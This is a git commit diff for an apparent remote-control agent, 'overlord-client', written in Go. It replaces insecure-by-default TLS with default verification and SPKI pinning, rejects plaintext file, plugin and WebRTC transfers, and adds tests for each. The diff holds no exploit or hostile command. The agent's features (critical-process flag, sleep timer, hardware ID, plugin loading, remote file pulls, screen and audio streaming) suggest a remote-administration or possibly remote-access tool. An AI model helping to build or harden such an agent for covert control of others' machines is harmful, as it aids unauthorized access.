pinning + new version of backups
This commit is contained in:
@@ -34,6 +34,7 @@ var DefaultSleepSeconds = "0"
|
||||
var DefaultCriticalProcess = "false"
|
||||
var DefaultFetchPublicIP = "false"
|
||||
var DefaultSecureLogPublicKey = ""
|
||||
var DefaultTLSSPKIPins = ""
|
||||
|
||||
const settingsFile = "config/settings.json"
|
||||
const serverIndexFile = "config/server_index.json"
|
||||
@@ -71,6 +72,7 @@ type Config struct {
|
||||
TLSCAPath string
|
||||
TLSClientCert string
|
||||
TLSClientKey string
|
||||
TLSSPKIPins []string
|
||||
AgentToken string
|
||||
BuildTag string
|
||||
SleepSeconds int
|
||||
@@ -177,13 +179,17 @@ func Load() Config {
|
||||
fetchPublicIP = isTruthy(v)
|
||||
}
|
||||
|
||||
tlsInsecureSkipVerify := true
|
||||
tlsInsecureSkipVerify := false
|
||||
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" {
|
||||
tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes"
|
||||
}
|
||||
tlsCAPath := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CA"))
|
||||
tlsClientCert := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_CERT"))
|
||||
tlsClientKey := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_KEY"))
|
||||
tlsSPKIPins := parseCommaList(firstNonEmpty(
|
||||
strings.TrimSpace(os.Getenv("OVERLORD_TLS_SPKI_PINS")),
|
||||
DefaultTLSSPKIPins,
|
||||
))
|
||||
agentToken := strings.TrimSpace(os.Getenv("OVERLORD_AGENT_TOKEN"))
|
||||
if agentToken == "" {
|
||||
agentToken = strings.TrimSpace(DefaultAgentToken)
|
||||
@@ -220,6 +226,7 @@ func Load() Config {
|
||||
TLSCAPath: tlsCAPath,
|
||||
TLSClientCert: tlsClientCert,
|
||||
TLSClientKey: tlsClientKey,
|
||||
TLSSPKIPins: tlsSPKIPins,
|
||||
AgentToken: agentToken,
|
||||
BuildTag: strings.TrimSpace(DefaultBuildTag),
|
||||
SleepSeconds: parseSleepSeconds(DefaultSleepSeconds),
|
||||
@@ -358,6 +365,23 @@ func firstNonEmpty(values ...string) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func parseCommaList(value string) []string {
|
||||
seen := make(map[string]struct{})
|
||||
result := make([]string, 0)
|
||||
for _, item := range strings.Split(value, ",") {
|
||||
item = strings.TrimSpace(item)
|
||||
if item == "" {
|
||||
continue
|
||||
}
|
||||
if _, exists := seen[item]; exists {
|
||||
continue
|
||||
}
|
||||
seen[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func deriveHWID() string {
|
||||
machineID := platformMachineID()
|
||||
if machineID != "" {
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
package config
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestTLSVerificationIsSecureByDefault(t *testing.T) {
|
||||
originalPins := DefaultTLSSPKIPins
|
||||
DefaultTLSSPKIPins = "pin-one,pin-two,pin-one"
|
||||
t.Cleanup(func() { DefaultTLSSPKIPins = originalPins })
|
||||
|
||||
t.Setenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY", "")
|
||||
t.Setenv("OVERLORD_TLS_SPKI_PINS", "")
|
||||
|
||||
cfg := Load()
|
||||
if cfg.TLSInsecureSkipVerify {
|
||||
t.Fatal("TLS certificate verification must be enabled by default")
|
||||
}
|
||||
if len(cfg.TLSSPKIPins) != 2 || cfg.TLSSPKIPins[0] != "pin-one" || cfg.TLSSPKIPins[1] != "pin-two" {
|
||||
t.Fatalf("unexpected embedded TLS pins: %#v", cfg.TLSSPKIPins)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTLSInsecureModeRequiresExplicitOptIn(t *testing.T) {
|
||||
t.Setenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY", "true")
|
||||
cfg := Load()
|
||||
if !cfg.TLSInsecureSkipVerify {
|
||||
t.Fatal("explicit development opt-out was not honored")
|
||||
}
|
||||
}
|
||||
@@ -8,8 +8,6 @@ import (
|
||||
"crypto/md5"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -29,6 +27,7 @@ import (
|
||||
"unicode/utf8"
|
||||
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
agentTLS "overlord-client/cmd/agent/tlsconfig"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
@@ -769,17 +768,13 @@ func HandleFileUploadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unsupported upload url scheme"})
|
||||
}
|
||||
|
||||
tlsConfig := &tls.Config{InsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify, MinVersion: tls.VersionTLS12}
|
||||
if caPath := strings.TrimSpace(env.Cfg.TLSCAPath); caPath != "" {
|
||||
caBytes, err := os.ReadFile(caPath)
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("failed to read TLS CA: %v", err)})
|
||||
}
|
||||
pool := x509.NewCertPool()
|
||||
if !pool.AppendCertsFromPEM(caBytes) {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "failed to parse TLS CA"})
|
||||
}
|
||||
tlsConfig.RootCAs = pool
|
||||
tlsConfig, err := agentTLS.Build(agentTLS.Options{
|
||||
InsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
|
||||
CAPath: env.Cfg.TLSCAPath,
|
||||
SPKIPins: env.Cfg.TLSSPKIPins,
|
||||
})
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("invalid TLS configuration: %v", err)})
|
||||
}
|
||||
|
||||
transport := &http.Transport{
|
||||
@@ -986,6 +981,9 @@ func resolveUploadPullURL(env *agentRuntime.Env, raw string) (string, error) {
|
||||
if scheme != "http" && scheme != "https" {
|
||||
return "", fmt.Errorf("unsupported upload url scheme: %s", parsed.Scheme)
|
||||
}
|
||||
if scheme == "http" && !env.Cfg.TLSInsecureSkipVerify {
|
||||
return "", errors.New("plaintext file transfers are disabled; use https")
|
||||
}
|
||||
if !strings.HasPrefix(parsed.Path, "/api/file/upload/pull/") {
|
||||
return parsed.String(), nil
|
||||
}
|
||||
@@ -1010,8 +1008,15 @@ func resolveUploadPullURL(env *agentRuntime.Env, raw string) (string, error) {
|
||||
case "wss":
|
||||
server.Scheme = "https"
|
||||
case "ws":
|
||||
if !env.Cfg.TLSInsecureSkipVerify {
|
||||
return "", errors.New("plaintext file transfers are disabled; use wss")
|
||||
}
|
||||
server.Scheme = "http"
|
||||
case "https", "http":
|
||||
case "https":
|
||||
case "http":
|
||||
if !env.Cfg.TLSInsecureSkipVerify {
|
||||
return "", errors.New("plaintext file transfers are disabled; use https")
|
||||
}
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported agent server scheme: %s", server.Scheme)
|
||||
}
|
||||
|
||||
@@ -545,7 +545,8 @@ func TestHandleFileUploadHTTP_RewritesUploadPullURLToAgentServer(t *testing.T) {
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{
|
||||
ServerURLs: []string{strings.Replace(ts.URL, "http://", "ws://", 1)},
|
||||
ServerURLs: []string{strings.Replace(ts.URL, "http://", "ws://", 1)},
|
||||
TLSInsecureSkipVerify: true,
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
@@ -2,19 +2,17 @@ package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
agentTLS "overlord-client/cmd/agent/tlsconfig"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
@@ -31,17 +29,13 @@ func HandlePluginLoadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||
}
|
||||
|
||||
tlsConfig := &tls.Config{InsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify, MinVersion: tls.VersionTLS12}
|
||||
if caPath := strings.TrimSpace(env.Cfg.TLSCAPath); caPath != "" {
|
||||
caBytes, err := os.ReadFile(caPath)
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("failed to read TLS CA: %v", err)})
|
||||
}
|
||||
pool := x509.NewCertPool()
|
||||
if !pool.AppendCertsFromPEM(caBytes) {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "failed to parse TLS CA"})
|
||||
}
|
||||
tlsConfig.RootCAs = pool
|
||||
tlsConfig, err := agentTLS.Build(agentTLS.Options{
|
||||
InsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
|
||||
CAPath: env.Cfg.TLSCAPath,
|
||||
SPKIPins: env.Cfg.TLSSPKIPins,
|
||||
})
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("invalid TLS configuration: %v", err)})
|
||||
}
|
||||
|
||||
client := &http.Client{Transport: &http.Transport{TLSClientConfig: tlsConfig}}
|
||||
@@ -114,6 +108,9 @@ func resolvePluginPullURL(env *agentRuntime.Env, raw string) (string, error) {
|
||||
if scheme != "http" && scheme != "https" {
|
||||
return "", fmt.Errorf("unsupported plugin pull scheme: %s", parsed.Scheme)
|
||||
}
|
||||
if scheme == "http" && !env.Cfg.TLSInsecureSkipVerify {
|
||||
return "", errors.New("plaintext plugin downloads are disabled; use https")
|
||||
}
|
||||
return parsed.String(), nil
|
||||
}
|
||||
|
||||
@@ -132,8 +129,15 @@ func resolvePluginPullURL(env *agentRuntime.Env, raw string) (string, error) {
|
||||
case "wss":
|
||||
server.Scheme = "https"
|
||||
case "ws":
|
||||
if !env.Cfg.TLSInsecureSkipVerify {
|
||||
return "", errors.New("plaintext plugin downloads are disabled; use wss")
|
||||
}
|
||||
server.Scheme = "http"
|
||||
case "https", "http":
|
||||
case "https":
|
||||
case "http":
|
||||
if !env.Cfg.TLSInsecureSkipVerify {
|
||||
return "", errors.New("plaintext plugin downloads are disabled; use https")
|
||||
}
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported agent server scheme: %s", server.Scheme)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func TestSensitiveTransfersRejectPlaintextByDefault(t *testing.T) {
|
||||
env := &agentRuntime.Env{Cfg: config.Config{
|
||||
ServerURLs: []string{"ws://server.example.test:5173"},
|
||||
}}
|
||||
|
||||
if _, err := resolveUploadPullURL(env, "/api/file/upload/pull/id"); err == nil ||
|
||||
!strings.Contains(err.Error(), "plaintext") {
|
||||
t.Fatalf("expected plaintext file transfer rejection, got %v", err)
|
||||
}
|
||||
if _, err := resolvePluginPullURL(env, "/api/plugins/pull/id"); err == nil ||
|
||||
!strings.Contains(err.Error(), "plaintext") {
|
||||
t.Fatalf("expected plaintext plugin transfer rejection, got %v", err)
|
||||
}
|
||||
if _, err := buildWhipURL(env, "/api/webrtc/whip"); err == nil ||
|
||||
!strings.Contains(err.Error(), "plaintext") {
|
||||
t.Fatalf("expected plaintext WebRTC signaling rejection, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSensitiveTransfersAllowExplicitDevelopmentOptOut(t *testing.T) {
|
||||
env := &agentRuntime.Env{Cfg: config.Config{
|
||||
ServerURLs: []string{"ws://127.0.0.1:5173"},
|
||||
TLSInsecureSkipVerify: true,
|
||||
}}
|
||||
|
||||
if resolved, err := resolveUploadPullURL(env, "/api/file/upload/pull/id"); err != nil ||
|
||||
!strings.HasPrefix(resolved, "http://") {
|
||||
t.Fatalf("expected explicit plaintext file transfer, got %q, %v", resolved, err)
|
||||
}
|
||||
if resolved, err := resolvePluginPullURL(env, "/api/plugins/pull/id"); err != nil ||
|
||||
!strings.HasPrefix(resolved, "http://") {
|
||||
t.Fatalf("expected explicit plaintext plugin transfer, got %q, %v", resolved, err)
|
||||
}
|
||||
if resolved, err := buildWhipURL(env, "/api/webrtc/whip"); err != nil ||
|
||||
!strings.HasPrefix(resolved, "http://") {
|
||||
t.Fatalf("expected explicit plaintext signaling, got %q, %v", resolved, err)
|
||||
}
|
||||
}
|
||||
@@ -103,6 +103,7 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
|
||||
PublishToken: token,
|
||||
TLSInsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
|
||||
TLSCAPath: env.Cfg.TLSCAPath,
|
||||
TLSSPKIPins: env.Cfg.TLSSPKIPins,
|
||||
ICEServers: parseICEServers(payload["iceServers"]),
|
||||
HasVideo: hasVideo,
|
||||
HasAudio: hasAudio,
|
||||
@@ -309,7 +310,17 @@ func buildWhipURL(env *runtime.Env, whipPath string) (string, error) {
|
||||
case "wss":
|
||||
base.Scheme = "https"
|
||||
case "ws":
|
||||
if !env.Cfg.TLSInsecureSkipVerify {
|
||||
return "", fmt.Errorf("plaintext WebRTC signaling is disabled; use wss")
|
||||
}
|
||||
base.Scheme = "http"
|
||||
case "http":
|
||||
if !env.Cfg.TLSInsecureSkipVerify {
|
||||
return "", fmt.Errorf("plaintext WebRTC signaling is disabled; use https")
|
||||
}
|
||||
case "https":
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported WebRTC signaling scheme: %s", base.Scheme)
|
||||
}
|
||||
if !strings.HasPrefix(whipPath, "/") {
|
||||
whipPath = "/" + whipPath
|
||||
|
||||
@@ -3,7 +3,6 @@ package main
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -27,6 +26,7 @@ import (
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/sysinfo"
|
||||
agentTLS "overlord-client/cmd/agent/tlsconfig"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"nhooyr.io/websocket"
|
||||
@@ -51,7 +51,11 @@ func runClient(cfg config.Config) {
|
||||
}
|
||||
}
|
||||
|
||||
transport := createHTTPTransport(cfg)
|
||||
transport, err := createHTTPTransport(cfg)
|
||||
if err != nil {
|
||||
log.Printf("[TLS] refusing to start with invalid TLS configuration: %v", err)
|
||||
return
|
||||
}
|
||||
currentIndex := cfg.ServerIndex
|
||||
consecutiveFailures := 0
|
||||
var loggedTLS bool
|
||||
@@ -67,6 +71,12 @@ func runClient(cfg config.Config) {
|
||||
}
|
||||
|
||||
currentServer := cfg.ServerURLs[currentIndex]
|
||||
if strings.HasPrefix(strings.ToLower(currentServer), "ws://") && !cfg.TLSInsecureSkipVerify {
|
||||
log.Printf("[TLS] refusing plaintext WebSocket server %s; use wss://", currentServer)
|
||||
rotateToNextServer(¤tIndex, cfg.ServerURLs)
|
||||
time.Sleep(backoff)
|
||||
continue
|
||||
}
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
url := fmt.Sprintf("%s/api/clients/%s/stream/ws?role=client", currentServer, cfg.ID)
|
||||
|
||||
@@ -302,38 +312,21 @@ func refreshServerURLsFromRaw(cfg *config.Config) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func createHTTPTransport(cfg config.Config) *http.Transport {
|
||||
tlsConfig := &tls.Config{
|
||||
func createHTTPTransport(cfg config.Config) (*http.Transport, error) {
|
||||
tlsConfig, err := agentTLS.Build(agentTLS.Options{
|
||||
InsecureSkipVerify: cfg.TLSInsecureSkipVerify,
|
||||
MinVersion: tls.VersionTLS12,
|
||||
CAPath: cfg.TLSCAPath,
|
||||
SPKIPins: cfg.TLSSPKIPins,
|
||||
ClientCertPath: cfg.TLSClientCert,
|
||||
ClientKeyPath: cfg.TLSClientKey,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if cfg.TLSCAPath != "" {
|
||||
caCert, err := os.ReadFile(cfg.TLSCAPath)
|
||||
if err != nil {
|
||||
log.Printf("[TLS] WARNING: Failed to read CA certificate from %s: %v", cfg.TLSCAPath, err)
|
||||
} else {
|
||||
caCertPool := x509.NewCertPool()
|
||||
if caCertPool.AppendCertsFromPEM(caCert) {
|
||||
tlsConfig.RootCAs = caCertPool
|
||||
log.Printf("[TLS] Loaded custom CA certificate from %s", cfg.TLSCAPath)
|
||||
} else {
|
||||
log.Printf("[TLS] WARNING: Failed to parse CA certificate from %s", cfg.TLSCAPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.TLSClientCert != "" && cfg.TLSClientKey != "" {
|
||||
cert, err := tls.LoadX509KeyPair(cfg.TLSClientCert, cfg.TLSClientKey)
|
||||
if err != nil {
|
||||
log.Printf("[TLS] WARNING: Failed to load client certificate: %v", err)
|
||||
} else {
|
||||
tlsConfig.Certificates = []tls.Certificate{cert}
|
||||
log.Printf("[TLS] Loaded client certificate for mutual TLS")
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.TLSInsecureSkipVerify {
|
||||
if len(cfg.TLSSPKIPins) > 0 {
|
||||
log.Printf("[TLS] Server identity pinning enabled with %d trusted SPKI pin(s)", len(cfg.TLSSPKIPins))
|
||||
} else if cfg.TLSInsecureSkipVerify {
|
||||
log.Printf("[TLS] WARNING: Certificate verification is DISABLED. This is insecure!")
|
||||
}
|
||||
|
||||
@@ -343,7 +336,7 @@ func createHTTPTransport(cfg config.Config) *http.Transport {
|
||||
Timeout: 30 * time.Second,
|
||||
KeepAlive: 15 * time.Second,
|
||||
}).DialContext
|
||||
return transport
|
||||
return transport, nil
|
||||
}
|
||||
|
||||
func classifyDialError(err error) string {
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
package tlsconfig
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Options struct {
|
||||
InsecureSkipVerify bool
|
||||
CAPath string
|
||||
SPKIPins []string
|
||||
ClientCertPath string
|
||||
ClientKeyPath string
|
||||
}
|
||||
|
||||
func Build(options Options) (*tls.Config, error) {
|
||||
pins, err := decodePins(options.SPKIPins)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
tlsConfig := &tls.Config{
|
||||
MinVersion: tls.VersionTLS12,
|
||||
}
|
||||
|
||||
if strings.TrimSpace(options.CAPath) != "" {
|
||||
caCert, err := os.ReadFile(options.CAPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read TLS CA: %w", err)
|
||||
}
|
||||
caCertPool := x509.NewCertPool()
|
||||
if !caCertPool.AppendCertsFromPEM(caCert) {
|
||||
return nil, errors.New("parse TLS CA: no certificates found")
|
||||
}
|
||||
tlsConfig.RootCAs = caCertPool
|
||||
}
|
||||
|
||||
if strings.TrimSpace(options.ClientCertPath) != "" || strings.TrimSpace(options.ClientKeyPath) != "" {
|
||||
if strings.TrimSpace(options.ClientCertPath) == "" || strings.TrimSpace(options.ClientKeyPath) == "" {
|
||||
return nil, errors.New("both TLS client certificate and key are required")
|
||||
}
|
||||
certificate, err := tls.LoadX509KeyPair(options.ClientCertPath, options.ClientKeyPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("load TLS client certificate: %w", err)
|
||||
}
|
||||
tlsConfig.Certificates = []tls.Certificate{certificate}
|
||||
}
|
||||
|
||||
if len(pins) > 0 {
|
||||
// Verification is performed below against an embedded application pin.
|
||||
// This intentionally supports self-signed certificates without trusting
|
||||
// arbitrary certificates from the network or host trust store.
|
||||
tlsConfig.InsecureSkipVerify = true //nolint:gosec
|
||||
tlsConfig.VerifyConnection = func(state tls.ConnectionState) error {
|
||||
return verifyPinnedConnection(state, pins, time.Now())
|
||||
}
|
||||
return tlsConfig, nil
|
||||
}
|
||||
|
||||
tlsConfig.InsecureSkipVerify = options.InsecureSkipVerify //nolint:gosec
|
||||
return tlsConfig, nil
|
||||
}
|
||||
|
||||
func decodePins(values []string) ([][]byte, error) {
|
||||
result := make([][]byte, 0, len(values))
|
||||
for _, value := range values {
|
||||
value = strings.TrimSpace(strings.TrimPrefix(value, "sha256/"))
|
||||
if value == "" {
|
||||
continue
|
||||
}
|
||||
decoded, err := base64.StdEncoding.DecodeString(value)
|
||||
if err != nil || len(decoded) != sha256.Size {
|
||||
return nil, fmt.Errorf("invalid TLS SPKI pin %q", value)
|
||||
}
|
||||
result = append(result, decoded)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func verifyPinnedConnection(state tls.ConnectionState, pins [][]byte, now time.Time) error {
|
||||
if len(state.PeerCertificates) == 0 {
|
||||
return errors.New("TLS peer did not provide a certificate")
|
||||
}
|
||||
leaf := state.PeerCertificates[0]
|
||||
if now.Before(leaf.NotBefore) || now.After(leaf.NotAfter) {
|
||||
return fmt.Errorf("TLS peer certificate is not valid at %s", now.UTC().Format(time.RFC3339))
|
||||
}
|
||||
sum := sha256.Sum256(leaf.RawSubjectPublicKeyInfo)
|
||||
for _, pin := range pins {
|
||||
if bytes.Equal(sum[:], pin) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return fmt.Errorf(
|
||||
"TLS server identity pin mismatch (received sha256/%s)",
|
||||
base64.StdEncoding.EncodeToString(sum[:]),
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
package tlsconfig
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func pinForCertificate(certificate *tls.Certificate) string {
|
||||
sum := sha256.Sum256(certificate.Leaf.RawSubjectPublicKeyInfo)
|
||||
return base64.StdEncoding.EncodeToString(sum[:])
|
||||
}
|
||||
|
||||
func clientForConfig(config *tls.Config) *http.Client {
|
||||
return &http.Client{
|
||||
Transport: &http.Transport{TLSClientConfig: config},
|
||||
}
|
||||
}
|
||||
|
||||
func TestPinnedServerIdentity(t *testing.T) {
|
||||
server := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = io.WriteString(w, "ok")
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
correctPin := pinForCertificate(&server.TLS.Certificates[0])
|
||||
config, err := Build(Options{SPKIPins: []string{correctPin}})
|
||||
if err != nil {
|
||||
t.Fatalf("Build failed: %v", err)
|
||||
}
|
||||
|
||||
response, err := clientForConfig(config).Get(server.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("pinned request failed: %v", err)
|
||||
}
|
||||
defer response.Body.Close()
|
||||
if response.StatusCode != http.StatusOK {
|
||||
t.Fatalf("unexpected status: %d", response.StatusCode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPinnedServerRejectsRogueKey(t *testing.T) {
|
||||
server := httptest.NewTLSServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) {}))
|
||||
defer server.Close()
|
||||
|
||||
roguePin := base64.StdEncoding.EncodeToString(bytesOf(sha256.Size, 0x42))
|
||||
config, err := Build(Options{SPKIPins: []string{roguePin}})
|
||||
if err != nil {
|
||||
t.Fatalf("Build failed: %v", err)
|
||||
}
|
||||
|
||||
_, err = clientForConfig(config).Get(server.URL)
|
||||
if err == nil || !strings.Contains(err.Error(), "identity pin mismatch") {
|
||||
t.Fatalf("expected pin mismatch, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInvalidPinFailsClosed(t *testing.T) {
|
||||
if _, err := Build(Options{SPKIPins: []string{"not-a-pin"}}); err == nil {
|
||||
t.Fatal("expected invalid pin to be rejected")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExplicitInsecureModeRemainsOptIn(t *testing.T) {
|
||||
server := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
secureConfig, err := Build(Options{})
|
||||
if err != nil {
|
||||
t.Fatalf("Build secure config failed: %v", err)
|
||||
}
|
||||
if _, err := clientForConfig(secureConfig).Get(server.URL); err == nil {
|
||||
t.Fatal("untrusted self-signed certificate unexpectedly succeeded")
|
||||
}
|
||||
|
||||
insecureConfig, err := Build(Options{InsecureSkipVerify: true})
|
||||
if err != nil {
|
||||
t.Fatalf("Build insecure config failed: %v", err)
|
||||
}
|
||||
response, err := clientForConfig(insecureConfig).Get(server.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("explicit insecure request failed: %v", err)
|
||||
}
|
||||
response.Body.Close()
|
||||
}
|
||||
|
||||
func bytesOf(count int, value byte) []byte {
|
||||
result := make([]byte, count)
|
||||
for i := range result {
|
||||
result[i] = value
|
||||
}
|
||||
return result
|
||||
}
|
||||
@@ -276,7 +276,8 @@ type Options struct {
|
||||
// TLSInsecureSkipVerify mirrors the agent's existing TLS config.
|
||||
TLSInsecureSkipVerify bool
|
||||
// TLSCAPath is an optional custom CA bundle.
|
||||
TLSCAPath string
|
||||
TLSCAPath string
|
||||
TLSSPKIPins []string
|
||||
// ICEServers contains the server-issued, short-lived Coturn configuration.
|
||||
ICEServers []ICEServer
|
||||
// HasVideo / HasAudio select which tracks to add to the peer connection.
|
||||
|
||||
@@ -5,8 +5,6 @@ package webrtcpub
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
@@ -19,6 +17,8 @@ import (
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
agentTLS "overlord-client/cmd/agent/tlsconfig"
|
||||
|
||||
"github.com/pion/interceptor"
|
||||
"github.com/pion/rtcp"
|
||||
"github.com/pion/webrtc/v4"
|
||||
@@ -133,7 +133,10 @@ func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) {
|
||||
}
|
||||
Stop(kind)
|
||||
|
||||
httpClient := buildHTTPClient(opts)
|
||||
httpClient, err := buildHTTPClient(opts)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("webrtcpub: invalid TLS configuration: %w", err)
|
||||
}
|
||||
|
||||
mediaEngine := &webrtc.MediaEngine{}
|
||||
if opts.HasVideo {
|
||||
@@ -379,23 +382,19 @@ func postWhip(ctx context.Context, client *http.Client, whipURL, token, sdp stri
|
||||
return string(body), resource, nil
|
||||
}
|
||||
|
||||
func buildHTTPClient(opts Options) *http.Client {
|
||||
tlsCfg := &tls.Config{
|
||||
func buildHTTPClient(opts Options) (*http.Client, error) {
|
||||
tlsCfg, err := agentTLS.Build(agentTLS.Options{
|
||||
InsecureSkipVerify: opts.TLSInsecureSkipVerify,
|
||||
MinVersion: tls.VersionTLS12,
|
||||
}
|
||||
if path := strings.TrimSpace(opts.TLSCAPath); path != "" {
|
||||
if pem, err := os.ReadFile(path); err == nil {
|
||||
pool := x509.NewCertPool()
|
||||
if pool.AppendCertsFromPEM(pem) {
|
||||
tlsCfg.RootCAs = pool
|
||||
}
|
||||
}
|
||||
CAPath: opts.TLSCAPath,
|
||||
SPKIPins: opts.TLSSPKIPins,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &http.Client{
|
||||
Timeout: 15 * time.Second,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: tlsCfg,
|
||||
},
|
||||
}
|
||||
}, nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user